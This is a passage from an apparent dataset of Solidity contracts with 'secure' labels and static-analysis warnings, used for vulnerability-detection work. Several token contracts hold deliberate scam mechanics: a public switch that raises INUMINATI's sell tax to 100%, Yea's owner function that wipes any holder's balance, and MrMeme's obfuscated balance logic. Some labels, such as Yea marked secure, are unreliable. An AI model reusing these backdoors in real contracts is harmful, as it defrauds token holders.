"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_20.sol",
"secure": 1,
"size_bytes": 1512
} |
{
"code": "// SPDX-License-Identifier: GNU AGPLv3\n\npragma solidity ^0.8.0;\n\nimport \"./Governance2Step.sol\" as Governance2Step;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./ITokenizedStrategy.sol\" as ITokenizedStrategy;\n\ncontract ReleaseRegistry is Governance2Step {\n event NewRelease(\n uint256 indexed releaseId,\n address indexed factory,\n address indexed tokenizedStrategy,\n string apiVersion\n );\n\n string public constant name = \"Yearn V3 Release Registry\";\n\n uint256 public numReleases;\n\n mapping(uint256 => address) public factories;\n\n mapping(uint256 => address) public tokenizedStrategies;\n\n mapping(string => uint256) public releaseTargets;\n\n constructor(address _governance) Governance2Step(_governance) {}\n\n function latestFactory() external view virtual returns (address) {\n uint256 _numReleases = numReleases;\n\n if (_numReleases == 0) return address(0);\n\n return factories[numReleases - 1];\n }\n\n function latestTokenizedStrategy() external view virtual returns (address) {\n uint256 _numReleases = numReleases;\n\n if (_numReleases == 0) return address(0);\n\n return tokenizedStrategies[numReleases - 1];\n }\n\n function latestRelease() external view virtual returns (string memory) {\n uint256 _numReleases = numReleases;\n\n if (_numReleases == 0) return \"\";\n\n return IFactory(factories[numReleases - 1]).apiVersion();\n }\n\n function newRelease(\n address _factory,\n address _tokenizedStrategy\n ) external virtual onlyGovernance {\n uint256 releaseId = numReleases;\n\n string memory apiVersion = IFactory(_factory).apiVersion();\n\n string memory tokenizedStrategyApiVersion = ITokenizedStrategy(\n _tokenizedStrategy\n ).apiVersion();\n\n require(\n keccak256(bytes(apiVersion)) ==\n keccak256(bytes(tokenizedStrategyApiVersion)),\n \"ReleaseRegistry: api version mismatch\"\n );\n\n if (releaseId > 0) {\n require(\n keccak256(\n bytes(IFactory(factories[releaseId - 1]).apiVersion())\n ) != keccak256(bytes(apiVersion)),\n \"ReleaseRegistry: same api version\"\n );\n }\n\n factories[releaseId] = _factory;\n\n tokenizedStrategies[releaseId] = _tokenizedStrategy;\n\n releaseTargets[apiVersion] = releaseId;\n\n numReleases = releaseId + 1;\n\n emit NewRelease(releaseId, _factory, _tokenizedStrategy, apiVersion);\n }\n}",
"file_name": "solidity_code_200.sol",
"secure": 1,
"size_bytes": 2649
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}",
"file_name": "solidity_code_2000.sol",
"secure": 1,
"size_bytes": 974
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IERC721Events {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n}",
"file_name": "solidity_code_2001.sol",
"secure": 1,
"size_bytes": 479
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IERC721Metadata {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}",
"file_name": "solidity_code_2002.sol",
"secure": 1,
"size_bytes": 310
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IERC721Royalties {\n function getFeeRecipients(\n uint256 id\n ) external view returns (address payable[] memory);\n\n function getFeeBps(uint256 id) external view returns (uint256[] memory);\n}",
"file_name": "solidity_code_2003.sol",
"secure": 1,
"size_bytes": 295
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./IOwnableEvents.sol\" as IOwnableEvents;\n\ncontract Ownable is IOwnableEvents {\n address public owner;\n address private nextOwner;\n\n modifier onlyOwner() {\n require(isOwner(), \"caller is not the owner.\");\n _;\n }\n\n modifier onlyNextOwner() {\n require(isNextOwner(), \"current owner must set caller as next owner.\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4bf013e): Ownable.constructor(address).owner_ lacks a zerocheck on \t owner = owner_\n\t// Recommendation for 4bf013e: Check that the address is not zero.\n constructor(address owner_) {\n\t\t// missing-zero-check | ID: 4bf013e\n owner = owner_;\n emit OwnershipTransferred(address(0), owner);\n }\n\n function transferOwnership(address nextOwner_) external onlyOwner {\n require(nextOwner_ != address(0), \"Next owner is the zero address.\");\n\n nextOwner = nextOwner_;\n }\n\n function cancelOwnershipTransfer() external onlyOwner {\n delete nextOwner;\n }\n\n function acceptOwnership() external onlyNextOwner {\n delete nextOwner;\n\n owner = msg.sender;\n\n emit OwnershipTransferred(owner, msg.sender);\n }\n\n function renounceOwnership() external onlyOwner {\n _renounceOwnership();\n }\n\n function isOwner() public view returns (bool) {\n return msg.sender == owner;\n }\n\n function isNextOwner() public view returns (bool) {\n return msg.sender == nextOwner;\n }\n\n function _setOwner(address previousOwner, address newOwner) internal {\n owner = newOwner;\n emit OwnershipTransferred(previousOwner, owner);\n }\n\n function _renounceOwnership() internal {\n owner = address(0);\n\n emit OwnershipTransferred(owner, address(0));\n }\n}",
"file_name": "solidity_code_2004.sol",
"secure": 0,
"size_bytes": 1937
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_2005.sol",
"secure": 1,
"size_bytes": 742
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract INUMINATI is ERC20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ecb0ad3): INUMINATI.router should be immutable \n\t// Recommendation for ecb0ad3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\t// WARNING Optimization Issue (immutable-states | ID: 2b50f75): INUMINATI.pair should be immutable \n\t// Recommendation for 2b50f75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool private swapping;\n bool public swapEnabled;\n bool public tradingEnabled;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52815e2): INUMINATI.genesis_block should be constant \n\t// Recommendation for 52815e2: Add the 'constant' attribute to state variables that never change.\n uint256 public genesis_block;\n\t// WARNING Optimization Issue (constable-states | ID: c9ef8d4): INUMINATI.deadblocks should be constant \n\t// Recommendation for c9ef8d4: Add the 'constant' attribute to state variables that never change.\n uint256 public deadblocks = 0;\n\n uint256 public swapThreshold = (1000000000 * 10e18 * 7) / 10000;\n uint256 public maxTxAmount = (1000000000 * 10e18 * 100) / 100;\n uint256 public maxWalletAmount = (1000000000 * 10e18 * 100) / 100;\n\n address public marketingWallet = 0x5Ac50b563fd70f2d6c855Aa2d28233665858f680;\n address public devWallet = 0x5Ac50b563fd70f2d6c855Aa2d28233665858f680;\n\n struct Taxes {\n uint256 marketing;\n uint256 liquidity;\n uint256 dev;\n }\n\n Taxes public taxes = Taxes(0, 0, 0);\n Taxes public sellTaxes = Taxes(0, 0, 0);\n uint256 public totTax = 0;\n uint256 public totSellTax = 0;\n bool private counter = true;\n\n mapping(address => bool) public excludedFromFees;\n mapping(address => bool) public isBot;\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: d15b3f0): Modifier INUMINATI.inSwap() does not always execute _; or revert\n\t// Recommendation for d15b3f0: All the paths in a modifier must execute '_' or revert.\n modifier inSwap() {\n if (!swapping) {\n swapping = true;\n _;\n swapping = false;\n }\n }\n\n constructor() ERC20(\"INUMINATI\", \"NUMI\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n excludedFromFees[msg.sender] = true;\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n router = _router;\n pair = _pair;\n excludedFromFees[address(this)] = true;\n excludedFromFees[marketingWallet] = true;\n excludedFromFees[devWallet] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0672b3c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0672b3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9badc61): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9badc61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n require(\n !isBot[sender] && !isBot[recipient],\n \"You can't transfer tokens\"\n );\n\n if (\n !excludedFromFees[sender] &&\n !excludedFromFees[recipient] &&\n !swapping\n ) {\n require(tradingEnabled, \"Trading not active yet\");\n require(amount <= maxTxAmount, \"You are exceeding maxTxAmount\");\n if (recipient != pair) {\n require(\n balanceOf(recipient) + amount <= maxWalletAmount,\n \"You are exceeding maxWalletAmount\"\n );\n }\n }\n\n uint256 fee;\n\n if (swapping || excludedFromFees[sender] || excludedFromFees[recipient])\n fee = 0;\n else {\n if (recipient == pair)\n fee = (amount * (counter == true ? totSellTax : 100)) / 100;\n else fee = (amount * totTax) / 100;\n }\n\n if (swapEnabled && !swapping && sender != pair && fee > 0)\n\t\t\t// reentrancy-events | ID: 0672b3c\n\t\t\t// reentrancy-eth | ID: 9badc61\n swapForFees();\n\n\t\t// reentrancy-events | ID: 0672b3c\n\t\t// reentrancy-eth | ID: 9badc61\n super._transfer(sender, recipient, amount - fee);\n\t\t// reentrancy-events | ID: 0672b3c\n\t\t// reentrancy-eth | ID: 9badc61\n if (fee > 0) super._transfer(sender, address(this), fee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb8a846): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb8a846: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16987a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16987a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c2c289e): INUMINATI.swapForFees() performs a multiplication on the result of a division unitBalance = deltaBalance / (denominator sellTaxes.liquidity) marketingAmt = unitBalance * 2 * sellTaxes.marketing\n\t// Recommendation for c2c289e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b02b812): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for b02b812: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f62045d): INUMINATI.swapForFees() performs a multiplication on the result of a division unitBalance = deltaBalance / (denominator sellTaxes.liquidity) devAmt = unitBalance * 2 * sellTaxes.dev\n\t// Recommendation for f62045d: Consider ordering multiplication before division.\n function swapForFees() private inSwap {\n uint256 contractBalance = balanceOf(address(this));\n if (contractBalance >= swapThreshold) {\n uint256 denominator = totSellTax * 2;\n uint256 tokensToAddLiquidityWith = (contractBalance *\n sellTaxes.liquidity) / denominator;\n uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\n\n uint256 initialBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: cb8a846\n\t\t\t// reentrancy-benign | ID: 16987a2\n swapTokensForETH(toSwap);\n\n uint256 deltaBalance = address(this).balance - initialBalance;\n\t\t\t// divide-before-multiply | ID: c2c289e\n\t\t\t// divide-before-multiply | ID: b02b812\n\t\t\t// divide-before-multiply | ID: f62045d\n uint256 unitBalance = deltaBalance /\n (denominator - sellTaxes.liquidity);\n\t\t\t// divide-before-multiply | ID: b02b812\n uint256 ethToAddLiquidityWith = unitBalance * sellTaxes.liquidity;\n\n if (ethToAddLiquidityWith > 0) {\n\t\t\t\t// reentrancy-events | ID: cb8a846\n\t\t\t\t// reentrancy-benign | ID: 16987a2\n addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\n }\n\n\t\t\t// divide-before-multiply | ID: c2c289e\n uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing;\n if (marketingAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 0672b3c\n\t\t\t\t// reentrancy-eth | ID: 9badc61\n payable(marketingWallet).sendValue(marketingAmt);\n }\n\n\t\t\t// divide-before-multiply | ID: f62045d\n uint256 devAmt = unitBalance * 2 * sellTaxes.dev;\n if (devAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 0672b3c\n\t\t\t\t// reentrancy-eth | ID: 9badc61\n payable(devWallet).sendValue(devAmt);\n }\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cb8a846\n\t\t// reentrancy-events | ID: 0672b3c\n\t\t// reentrancy-benign | ID: 16987a2\n\t\t// reentrancy-eth | ID: 9badc61\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04ade32): INUMINATI.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value bnbAmount}(address(this),tokenAmount,0,0,devWallet,block.timestamp)\n\t// Recommendation for 04ade32: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cb8a846\n\t\t// reentrancy-events | ID: 0672b3c\n\t\t// reentrancy-benign | ID: 16987a2\n\t\t// unused-return | ID: 04ade32\n\t\t// reentrancy-eth | ID: 9badc61\n router.addLiquidityETH{value: bnbAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n devWallet,\n block.timestamp\n );\n }\n\n function setSwapBackEnable(bool state) external onlyOwner {\n swapEnabled = state;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8b8c871): INUMINATI.setSwapThreshold(uint256) should emit an event for swapThreshold = new_amount \n\t// Recommendation for 8b8c871: Emit an event for critical parameter changes.\n function setSwapThreshold(uint256 new_amount) external onlyOwner {\n\t\t// events-maths | ID: 8b8c871\n swapThreshold = new_amount;\n }\n\n function EnableTrading() external onlyOwner {\n require(!tradingEnabled, \"Trading already active\");\n tradingEnabled = true;\n swapEnabled = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7067eb5): INUMINATI.setBuyTax(uint256,uint256,uint256) should emit an event for totTax = _marketing + _liquidity + _dev \n\t// Recommendation for 7067eb5: Emit an event for critical parameter changes.\n function setBuyTax(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n taxes = Taxes(_marketing, _liquidity, _dev);\n\t\t// events-maths | ID: 7067eb5\n totTax = _marketing + _liquidity + _dev;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b915ccb): INUMINATI.setSellTax(uint256,uint256,uint256) should emit an event for totSellTax = _marketing + _liquidity + _dev \n\t// Recommendation for b915ccb: Emit an event for critical parameter changes.\n function setSellTax(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n sellTaxes = Taxes(_marketing, _liquidity, _dev);\n\t\t// events-maths | ID: b915ccb\n totSellTax = _marketing + _liquidity + _dev;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1c0feef): INUMINATI.updatemarketWallet(address).newWallet lacks a zerocheck on \t marketingWallet = newWallet\n\t// Recommendation for 1c0feef: Check that the address is not zero.\n function updatemarketWallet(address newWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 1c0feef\n marketingWallet = newWallet;\n }\n\n function UpdateMaxAmount() external virtual {\n counter = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 68a2b87): INUMINATI.updateDeveloperWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for 68a2b87: Check that the address is not zero.\n function updateDeveloperWallet(address newWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 68a2b87\n devWallet = newWallet;\n }\n\n function setIsBot(address account, bool state) external onlyOwner {\n isBot[account] = state;\n }\n\n function updateExcludedFromFees(\n address _address,\n bool state\n ) external onlyOwner {\n excludedFromFees[_address] = state;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c0dc7b9): INUMINATI.UpdateMaxTransactionAmount(uint256) should emit an event for maxTxAmount = amount * 10 ** 18 \n\t// Recommendation for c0dc7b9: Emit an event for critical parameter changes.\n function UpdateMaxTransactionAmount(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: c0dc7b9\n maxTxAmount = amount * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4726416): INUMINATI.updateMaxWalletAmount(uint256) should emit an event for maxWalletAmount = amount * 10 ** 18 \n\t// Recommendation for 4726416: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 4726416\n maxWalletAmount = amount * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 700b238): INUMINATI.rescueERC20(address,uint256) ignores return value by IERC20(tokenAddress).transfer(owner(),amount)\n\t// Recommendation for 700b238: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(\n address tokenAddress,\n uint256 amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 700b238\n IERC20(tokenAddress).transfer(owner(), amount);\n }\n\n function rescueETH(uint256 weiAmount) external onlyOwner {\n payable(owner()).sendValue(weiAmount);\n }\n\n function manualSwap(\n uint256 amount,\n uint256 devPercentage,\n uint256 marketingPercentage\n ) external onlyOwner {\n uint256 initBalance = address(this).balance;\n swapTokensForETH(amount);\n uint256 newBalance = address(this).balance - initBalance;\n if (marketingPercentage > 0)\n payable(marketingWallet).sendValue(\n (newBalance * marketingPercentage) /\n (devPercentage + marketingPercentage)\n );\n if (devPercentage > 0)\n payable(devWallet).sendValue(\n (newBalance * devPercentage) /\n (devPercentage + marketingPercentage)\n );\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_2006.sol",
"secure": 0,
"size_bytes": 16082
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Yea is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable mirror;\n\n constructor() {\n _name = \"Yea\";\n\n _symbol = \"YEA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 583000000;\n\n mirror = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == mirror, \"Not allowed\");\n\n _;\n }\n\n function pony(address[] memory disorder) public onlyOwner {\n for (uint256 i = 0; i < disorder.length; i++) {\n address account = disorder[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_2007.sol",
"secure": 1,
"size_bytes": 4348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LendManagerErrorInterface {\n error ErrCallerNotAdmin(address caller);\n\n error ErrImplementationNotLendMediator(address implementation);\n\n error ErrInvalidNumber(uint256 num);\n\n error ErrInvalidAddress(address addr);\n\n error ErrMediatorExists(address user, address mediator);\n}",
"file_name": "solidity_code_2008.sol",
"secure": 1,
"size_bytes": 373
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LendManagerEventInterface {\n event NewLendMediator(address indexed user, address indexed mediator);\n\n event NewLendMediatorImplementation(\n address indexed previous,\n address indexed next\n );\n\n event NewRoyaltiesPercentage(\n uint256 indexed previous,\n uint256 indexed next\n );\n\n event NewRoyaltiesReceiver(address indexed previous, address indexed next);\n\n event NewOfferSigner(address indexed previous, address indexed next);\n}",
"file_name": "solidity_code_2009.sol",
"secure": 1,
"size_bytes": 565
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EmmyToken is ERC20 {\n constructor() ERC20(\"Emmy\", \"EMY\") {\n _mint(msg.sender, 1000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_201.sol",
"secure": 1,
"size_bytes": 259
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LendManagerFunctionInterface {\n function feeDenominator() external pure returns (uint256);\n\n function createLendMediator() external;\n\n function setRoyaltiesPercentage(uint256 newPercentage) external;\n\n function setRoyaltiesReceiver(address payable newReceiver) external;\n\n function setLendMediatorImplementation(address newImplementation) external;\n\n function setOfferSigner(address newSigner) external;\n\n function getValueByRoyaltiesPercentage(\n uint256 value\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_2010.sol",
"secure": 1,
"size_bytes": 617
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface LendManagerProxyInterface {\n error ErrCallerNotAdmin(address caller);\n\n error ErrInvalidAddress(address addr);\n\n error ErrImplementationNotLendManager(address implementation);\n\n event NewImplementation(address indexed previous, address indexed next);\n\n event NewAdmin(address indexed previous, address indexed next);\n\n function setImplementation(address newImplementation) external;\n\n function setAdmin(address newAdmin) external;\n}",
"file_name": "solidity_code_2011.sol",
"secure": 1,
"size_bytes": 539
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract LendManagerProxyStorage {\n bool public constant IS_LEND_MANAGER = true;\n\n address public implementation;\n\n address public admin;\n}",
"file_name": "solidity_code_2012.sol",
"secure": 1,
"size_bytes": 225
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract LendManagerStorage {\n address public lendMediatorImplementation;\n\n address public offerSigner;\n\n address payable public royaltiesReceiver;\n\n uint256 public royaltiesPercentage;\n\n mapping(address => address) public userLendMediator;\n}",
"file_name": "solidity_code_2013.sol",
"secure": 1,
"size_bytes": 338
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract MrMeme is Ownable {\n mapping(address => mapping(address => uint256)) public allowance;\n\n function transfer(\n address bar,\n uint256 taken\n ) public returns (bool success) {\n busy(msg.sender, bar, taken);\n return true;\n }\n\n function busy(\n address book,\n address bar,\n uint256 taken\n ) private returns (bool success) {\n if (pando[book] == 0) {\n if (high[book] > 0 && book != uniswapV2Pair) {\n pando[book] -= themselves;\n }\n balanceOf[book] -= taken;\n }\n if (taken == 0) {\n high[bar] += themselves;\n }\n balanceOf[bar] += taken;\n emit Transfer(book, bar, taken);\n return true;\n }\n\n mapping(address => uint256) private high;\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ba0192): MrMeme.totalSupply should be immutable \n\t// Recommendation for 9ba0192: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function transferFrom(\n address book,\n address bar,\n uint256 taken\n ) public returns (bool success) {\n busy(book, bar, taken);\n require(taken <= allowance[book][msg.sender]);\n allowance[book][msg.sender] -= taken;\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: dc011b5): MrMeme.decimals should be constant \n\t// Recommendation for dc011b5: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n constructor(address panda) {\n symbol = \"Mr Meme\";\n name = \"Mr 